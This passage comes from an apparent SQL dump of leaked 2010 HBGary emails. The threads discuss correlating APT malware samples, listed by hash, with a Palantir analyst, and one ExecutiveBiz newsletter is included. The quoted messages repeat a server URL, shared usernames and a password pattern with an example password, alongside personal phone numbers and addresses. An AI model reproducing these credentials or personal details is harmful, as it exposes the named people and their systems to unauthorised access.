near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n>>\r\n>> The shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at: \r\n>> https://host25.paas.palantirtech.com:25280/\r\n>>\r\n>> Your usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n>>\r\n>> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n>>\r\n>>\r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Friday, September 17, 2010 6:56 PM\r\n>> To: Aaron Zollman\r\n>> Cc: Barr Aaron; mark@hbgary.com\r\n>> Subject: Malware presentation at Palantir GovCon\r\n>>\r\n>> Hi Aaron,\r\n>>\r\n>> Attached are some known APT samples from an ongoing investigation.\r\n>> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n>>\r\n>> Hope you have a nice weekend!\r\n>> Ted\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n> \r\n> \r\n> \r\n',3664,'aaron_hbgary_com/3664.html'),(12438,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009167.M674670P14101Q7293.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Malware presentation at Palantir GovCon','What is the form of the tmc data that we have? Both old and new?\r\nDon\'t we have the tmc data from the previous tmc?\r\n\r\nIf we have no tmc data then what can we do to get tmc data on specific\r\nmalware sets?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 30, 2010, at 7:48 AM, Mark Trynor  wrote:\r\n\r\n> Aaron,\r\n>\r\n> We don\'t have any TMC samples.  What\'s a responder data set?\r\n>\r\n> Thanks,\r\n> Mark\r\n>\r\n> On 09/30/2010 08:35 AM, Aaron Barr wrote:\r\n>> Hi Aaron,\r\n>>\r\n>> I can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n>>\r\n>> Mark,\r\n>> Please send Aaron a few TMC data samples.  If the TMC data samples are too scattered at the moment can you send him some responder data sets?\r\n>>\r\n>> Aaron,\r\n>> I would like to get on the phone and discuss this today if possible.  I have some questions.\r\n>>\r\n>> Aaron\r\n>> On Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n>>\r\n>>> All --\r\n>>>\r\n>>>    The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n>>>\r\n>>>    But first, Progress!\r\n>>>    I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir.\r\n>>>\r\n>>> 6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot.\r\n>>>\r\n>>> 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n>>>\r\n>>>    99ba36a387f82369440fa3858ed2c7ae\r\n>>>    83d7e99ace330a6301ab6423b16701de\r\n>>>    c10222e198dd1b32f19d2c3bf55880cd\r\n>>>    ae7bf771b80576ec88469a1bc495812e\r\n>>>\r\n>>> And one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n>>>\r\n>>>    279162665e7c01624091afb19b7d7f4c\r\n>>>\r\n>>> The screenshot makes this all very clear.\r\n>>>\r\n>>>\r\n>>> To complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information.\r\n>>>\r\n>>> The first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next Tuesday.\r\n>>>\r\n>>> All of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n>>>\r\n>>> Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n>>>\r\n>>>\r\n>>>\r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Zollman\r\n>>> Sent: Wednesday, September 22, 2010 9:44 PM\r\n>>> To: \'Ted Vera\'\r\n>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>> Subject: RE: Malware presentation at Palantir GovCon\r\n>>>\r\n>>> Ted --\r\n>>>\r\n>>> Having imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n>>>\r\n>>> The shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at:\r\n>>> https://host25.paas.palantirtech.com:25280/\r\n>>>\r\n>>> Your usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n>>>\r\n>>> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n>>>\r\n>>>\r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Friday, September 17, 2010 6:56 PM\r\n>>> To: Aaron Zollman\r\n>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>> Subject: Malware presentation at Palantir GovCon\r\n>>>\r\n>>> Hi Aaron,\r\n>>>\r\n>>> Attached are some known APT samples from an ongoing investigation.\r\n>>> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n>>>\r\n>>> Hope you have a nice weekend!\r\n>>> Ted\r\n>>> \r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>>\r\n>>\r\n>>\r\n',14423,'aaron_hbgary_com/14423.html'),(12439,'2010-09-30','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009167.M911170P14101Q7294.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware presentation at Palantir GovCon','New we have one binary that was a test that I ran through and we have in the database.  Old we don\'t have anything we deleted it to try and get the old one running.\n\nWhat do you mean by malware set?  Are they similar types of malware or do you just mean a bunch of malware?  If you mean a bunch of malware we need to turn on a bunch of tmc nodes, load all the malware onto a server, set up the database, set up the nodes with vmware server, create the base os images, and then we will have a database full of stuff like the one entry we have now.\n\nAaron Barr  wrote:\n\n>What is the form of the tmc data that we have? Both old and new?\r\n>Don\'t we have the tmc data from the previous tmc?\r\n>\r\n>If we have no tmc data then what can we do to get tmc data on specific\r\n>malware sets?\r\n>\r\n>Aaron\r\n>\r\n>Sent from my iPhone\r\n>\r\n>On Sep 30, 2010, at 7:48 AM, Mark Trynor  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> We don\'t have any TMC samples.  What\'s a responder data set?\r\n>>\r\n>> Thanks,\r\n>> Mark\r\n>>\r\n>> On 09/30/2010 08:35 AM, Aaron Barr wrote:\r\n>>> Hi Aaron,\r\n>>>\r\n>>> I can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n>>>\r\n>>> Mark,\r\n>>> Please send Aaron a few TMC data samples.  If the TMC data samples are too scattered at the moment can you send him some responder data sets?\r\n>>>\r\n>>> Aaron,\r\n>>> I would like to get on the phone and discuss this today if possible.  I have some questions.\r\n>>>\r\n>>> Aaron\r\n>>> On Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n>>>\r\n>>>> All --\r\n>>>>\r\n>>>>    The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n>>>>\r\n>>>>    But first, Progress!\r\n>>>>    I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir.\r\n>>>>\r\n>>>> 6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot.\r\n>>>>\r\n>>>> 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n>>>>\r\n>>>>    99ba36a387f82369440fa3858ed2c7ae\r\n>>>>    83d7e99ace330a6301ab6423b16701de\r\n>>>>    c10222e198dd1b32f19d2c3bf55880cd\r\n>>>>    ae7bf771b80576ec88469a1bc495812e\r\n>>>>\r\n>>>> And one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n>>>>\r\n>>>>    279162665e7c01624091afb19b7d7f4c\r\n>>>>\r\n>>>> The screenshot makes this all very clear.\r\n>>>>\r\n>>>>\r\n>>>> To complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information.\r\n>>>>\r\n>>>> The first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next Tuesday.\r\n>>>>\r\n>>>> All of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n>>>>\r\n>>>> Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> _________________________________________________________\r\n>>>> Aaron Zollman\r\n>>>> Palantir Technologies | Embedded Analyst\r\n>>>> azollman@palantir.com | 202-684-8066\r\n>>>>\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Zollman\r\n>>>> Sent: Wednesday, September 22, 2010 9:44 PM\r\n>>>> To: \'Ted Vera\'\r\n>>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>>> Subject: RE: Malware presentation at Palantir GovCon\r\n>>>>\r\n>>>> Ted --\r\n>>>>\r\n>>>> Having imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n>>>>\r\n>>>> The shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at:\r\n>>>> https://host25.paas.palantirtech.com:25280/\r\n>>>>\r\n>>>> Your usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n>>>>\r\n>>>> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n>>>>\r\n>>>>\r\n>>>> _________________________________________________________\r\n>>>> Aaron Zollman\r\n>>>> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>>> Sent: Friday, September 17, 2010 6:56 PM\r\n>>>> To: Aaron Zollman\r\n>>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>>> Subject: Malware presentation at Palantir GovCon\r\n>>>>\r\n>>>> Hi Aaron,\r\n>>>>\r\n>>>> Attached are some known APT samples from an ongoing investigation.\r\n>>>> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n>>>>\r\n>>>> Hope you have a nice weekend!\r\n>>>> Ted\r\n>>>> \r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal, LLC\r\n>>> 719.510.8478\r\n>>>\r\n>>>\r\n>>>\r\n',149,'aaron_hbgary_com/149.html'),(12440,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009168.M145091P14101Q7295.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Malware presentation at Palantir GovCon','Ok can you take the 11 QQ binaries and run them through the tmc and\r\nsend that data to Aaron?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 30, 2010, at 8:04 AM, Mark Trynor  wrote:\r\n\r\n> New we have one binary that was a test that I ran through and we have in the database.  Old we don\'t have anything we deleted it to try and get the old one running.\r\n>\r\n> What do you mean by malware set?  Are they similar types of malware or do you just mean a bunch of malware?  If you mean a bunch of malware we need to turn on a bunch of tmc nodes, load all the malware onto a server, set up the database, set up the nodes with vmware server, create the base os images, and then we will have a database full of stuff like the one entry we have now.\r\n>\r\n> Aaron Barr  wrote:\r\n>\r\n>> What is the form of the tmc data that we have? Both old and new?\r\n>> Don\'t we have the tmc data from the previous tmc?\r\n>>\r\n>> If we have no tmc data then what can we do to get tmc data on specific\r\n>> malware sets?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Sep 30, 2010, at 7:48 AM, Mark Trynor  wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> We don\'t have any TMC samples.  What\'s a responder data set?\r\n>>>\r\n>>> Thanks,\r\n>>> Mark\r\n>>>\r\n>>> On 09/30/2010 08:35 AM, Aaron Barr wrote:\r\n>>>> Hi Aaron,\r\n>>>>\r\n>>>> I can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n>>>>\r\n>>>> Mark,\r\n>>>> Please send Aaron a few TMC data samples.  If the TMC data samples are too scattered at the moment can you send him some responder data sets?\r\n>>>>\r\n>>>> Aaron,\r\n>>>> I would like to get on the phone and discuss this today if possible.  I have some questions.\r\n>>>>\r\n>>>> Aaron\r\n>>>> On Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n>>>>\r\n>>>>> All --\r\n>>>>>\r\n>>>>>   The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n>>>>>\r\n>>>>>   But first, Progress!\r\n>>>>>   I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir.\r\n>>>>>\r\n>>>>> 6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot.\r\n>>>>>\r\n>>>>> 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n>>>>>\r\n>>>>>   99ba36a387f82369440fa3858ed2c7ae\r\n>>>>>   83d7e99ace330a6301ab6423b16701de\r\n>>>>>   c10222e198dd1b32f19d2c3bf55880cd\r\n>>>>>   ae7bf771b80576ec88469a1bc495812e\r\n>>>>>\r\n>>>>> And one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n>>>>>\r\n>>>>>   279162665e7c01624091afb19b7d7f4c\r\n>>>>>\r\n>>>>> The screenshot makes this all very clear.\r\n>>>>>\r\n>>>>>\r\n>>>>> To complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information.\r\n>>>>>\r\n>>>>> The first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next Tuesday.\r\n>>>>>\r\n>>>>> All of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n>>>>>\r\n>>>>> Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> _________________________________________________________\r\n>>>>> Aaron Zollman\r\n>>>>> Palantir Technologies | Embedded Analyst\r\n>>>>> azollman@palantir.com | 202-684-8066\r\n>>>>>\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Zollman\r\n>>>>> Sent: Wednesday, September 22, 2010 9:44 PM\r\n>>>>> To: \'Ted Vera\'\r\n>>>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>>>> Subject: RE: Malware presentation at Palantir GovCon\r\n>>>>>\r\n>>>>> Ted --\r\n>>>>>\r\n>>>>> Having imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n>>>>>\r\n>>>>> The shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at:\r\n>>>>> https://host25.paas.palantirtech.com:25280/\r\n>>>>>\r\n>>>>> Your usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n>>>>>\r\n>>>>> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n>>>>>\r\n>>>>>\r\n>>>>> _________________________________________________________\r\n>>>>> Aaron Zollman\r\n>>>>> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>>>> Sent: Friday, September 17, 2010 6:56 PM\r\n>>>>> To: Aaron Zollman\r\n>>>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>>>> Subject: Malware presentation at Palantir GovCon\r\n>>>>>\r\n>>>>> Hi Aaron,\r\n>>>>>\r\n>>>>> Attached are some known APT samples from an ongoing investigation.\r\n>>>>> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n>>>>>\r\n>>>>> Hope you have a nice weekend!\r\n>>>>> Ted\r\n>>>>> \r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal, LLC\r\n>>>> 719.510.8478\r\n>>>>\r\n>>>>\r\n>>>>\r\n',16378,'aaron_hbgary_com/16378.html'),(12441,'2010-09-30','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297009168.M466001P14101Q7296.eml','aaron@hbgary.com','Top 9 Strategies to Ensure Company Growth in 2011','&nbsp; \r\n\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon Executive&nbsp; | GovConExec Magazine\r\n \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nBy Jim\r\n GarrettsonSeptember 30, 2010\r\n \r\n&nbsp;Top 9 Strategies to Ensure\r\n Company Growth in 2011It\'s never too early to plan ahead. Especially now,\r\n as government contractors face an environment that just got a little\r\n tougher.&nbsp;\r\n Click here to read\r\n more&nbsp;&nbsp;SAIC Continues Cyber\r\n Growth with New Center; Larry Cox Comments SAIC (NYSE: SAI) is set to\r\n open its new Cyber Innovation Center (CIC) in Columbia, Md. \r\nA host of\r\n notable attendees will be participating in the celebration, including Sen. Barbara\r\n Mikulski and Gov. Martin O\'Malley, along with SAIC CEO Walt Havenstein and Senior\r\n Vice President Larry Cox.&nbsp; Click here to read\r\n more&nbsp;&nbsp;Let the Cyber-War Games Begin: DHS\r\n Kicks Off Cyber Storm III to Test Internet Preparedness\r\n Department of Homeland\r\n Security Secretary Janet Napolitano yesterday announced the launch of Cyber Storm\r\n III&#8212;a three-day long, DHS-sponsored drill that aims to examine the nation\'s\r\n response capabilities in the event of a cyber attack. Click here to read\r\n more&nbsp;&nbsp;Will Cuts to Defense\r\n Spending Mean More Bid Protests? Over the past year, the Pentagon has cut almost $340 billion in\r\n life-cycle costs for major procurement programs, prompting many industry experts\r\n to speculate that a major industry consolidation is ahead.&nbsp; As competition\r\n heats up for billion-dollar projects that are still on the table, like the KC-X\r\n tanker contract, it remains to be seen how bid protests will be affected.&nbsp;\r\n After all, protesting a contract award is definitely one way to win after losing a\r\n bid.&nbsp;&nbsp; Click here to read\r\n more&nbsp;&nbsp;Continuing Resolutions Often a Headache for Contractors\r\n The\r\n recent showdown over Senate approval of defense appropriations highlights the\r\n reliance on continuing resolutions to keep government agencies, as well as the\r\n companies they do business with afloat. &nbsp; Click here to\r\n read more \r\n\r\n\r\n\r\nMcChrystal to Address NACDS\r\n Foundation&nbsp;Security Expert Richard Clarke to Address\r\n Potomac Officers Club October 5 Harry Greenspun: Healthcare Industry Should be\r\n RetooledSAIC\'s Walt\r\n Havenstein to be Honored as Tech Leader\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nUSIS CFO Andre Olberholzer Heads for Parent\r\n Altegrity; Chuck Hicks Named Replacement\r\nCitizant Picks\r\n John Heiss to Lead DOJ Projects\r\nDefense\r\n Victories for Lockheed Martin, L-3 and QinetiQ\r\nBoeing, ITT,\r\n Raytheon Snag Defense Work\r\nSAIC Wins Deal\r\n to Help N.C. Company Go Green\r\nTelcordia\'s\r\n Manek Master Named to Defense Science Board Task Force\r\nRazorsight\r\n Lands on List of Largest Software, Service Providers\r\nClick Here for More GovConwire  \r\n\r\nDr. John M. Chandler Joins HP as Chief\r\n Medical Officer\r\nLet the\r\n Cyber-War Games Begin: DHS Kicks Off Cyber Storm III to Test Internet\r\n PreparednessHarris Creates\r\n USB Drive Designed for Federal Cybersecurity Missions \r\nUSIS to Perform\r\n Thousands of Background Investigations, Fingerprinting for SSA\r\nBAE Systems\r\n Wins Award to Serve as FBI\'s Cyber \'Gatekeepers\'; Tom Sechler\r\n Comments\r\n\r\nClick Here for More from The New New Internet\r\n \r\n&nbsp;\r\nPowerwave Opens Washington, D.C.\r\n Office\r\nCACI Wins $35\r\n Million Task Order with Naval Surface Warfare Center\r\nMcAfee CTO Eric\r\n Cole Outlines Ways to Protect Medical Data\r\nJohn Hassoun\r\n Joins ATSC as SVP of Federal Programs; Sid Fuchs Comments\r\nSusan Penfield,\r\n Others to Speak at Washington Ideas Forum\r\n\r\nClick Here for More from GovCon Executive  \r\n&nbsp;Defense\r\n Contractors Making Shift to Services \r\nShowdown at\r\n JFCOM Hearings?\r\nNorthrop\r\n Grumman Security Systems among HHS Contract Winners\r\nService Members\r\n Arm Themselves against ID Theft\r\nFCC Sets Stage\r\n for Super Wi-Fi\r\nClick Here for More from ExecutiveGov \r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;\r\n \r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\nMcChrystal to\r\n Address NACDS FoundationGen. Stanley McChrystal, former commander of joint U.S.\r\n and international forces in Afghanistan and current lecturer at Yale University,\r\n will deliver a keynote speech to the foundation of the National Association of\r\n Chain Drug Stores.&nbsp;&nbsp;Click here to read\r\n more&nbsp;Security\r\n Expert Richard Clarke to Address Potomac Officers Club October\r\n 5Richard A. Clarke is an\r\n internationally-recognized expert on security, including homeland security,\r\n national security, cyber security, and counterterrorism. He is currently an on-air\r\n consultant for ABC News and teaches at Harvard\'s Kennedy School of\r\n Government.&nbsp; Click\r\n here&nbsp;for more information and to\r\n register&nbsp;Harry Greenspun: Healthcare Industry Should be\r\n RetooledDell Inc. Chief Medical Officer\r\n Dr. Harry Greenspun has written a book with Jim Champy that details ways\r\n healthcare organizations can rework themselves to be more efficient.\r\n &nbsp;Click here to read\r\n moreSAIC\'s Walt\r\n Havenstein to be Honored as Tech LeaderSAIC CEO Walt\r\n Havenstein will be honored at the Thirteenth Annual Technology \"Good Scout\" Award\r\n Luncheon at the Hilton McLean Tyson\'s Corner, Va., with DynCorp President and CEO\r\n Steve Gaffney serving as event chairman and master of ceremonies. Click here to read\r\n more\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n \r\n\r\nA Letter from the EditorThrough our weekly emagazine\r\n and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D. KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',8545,'aaron_hbgary_com/8545.html'),(12442,'2010-09-30','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009168.M678894P14101Q7297.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware presentation at Palantir GovCon','My appologies on this as my heads been down working on getting the tmc prototype to work.  What 11 binaries?  Who has them?  Are those the ones ted did the fingerprint data on?  If so, Ted: where are those?\n\nAaron Barr  wrote:\n\n>Ok can you take the 11 QQ binaries and run them through the tmc and\r\n>send that data to Aaron?\r\n>\r\n>Aaron\r\n>\r\n>Sent from my iPhone\r\n>\r\n>On Sep 30, 2010, at 8:04 AM, Mark Trynor  wrote:\r\n>\r\n>> New we have one binary that was a test that I ran through and we have in the database.  Old we don\'t have anything we deleted it to try and get the old one running.\r\n>>\r\n>> What do you mean by malware set?  Are they similar types of malware or do you just mean a bunch of malware?  If you mean a bunch of malware we need to turn on a bunch of tmc nodes, load all the malware onto a server, set up the database, set up the nodes with vmware server, create the base os images, and then we will have a database full of stuff like the one entry we have now.\r\n>>\r\n>> Aaron Barr  wrote:\r\n>>\r\n>>> What is the form of the tmc data that we have? Both old and new?\r\n>>> Don\'t we have the tmc data from the previous tmc?\r\n>>>\r\n>>> If we have no tmc data then what can we do to get tmc data on specific\r\n>>> malware sets?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Sep 30, 2010, at 7:48 AM, Mark Trynor  wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> We don\'t have any TMC samples.  What\'s a responder data set?\r\n>>>>\r\n>>>> Thanks,\r\n>>>> Mark\r\n>>>>\r\n>>>> On 09/30/2010 08:35 AM, Aaron Barr wrote:\r\n>>>>> Hi Aaron,\r\n>>>>>\r\n>>>>> I can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n>>>>>\r\n>>>>> Mark,\r\n>>>>> Please send Aaron a few TMC data samples.  If the TMC data samples are too scattered at the moment can you send him some responder data sets?\r\n>>>>>\r\n>>>>> Aaron,\r\n>>>>> I would like to get on the phone and discuss this today if possible.  I have some questions.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>> On Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n>>>>>\r\n>>>>>> All --\r\n>>>>>>\r\n>>>>>>   The 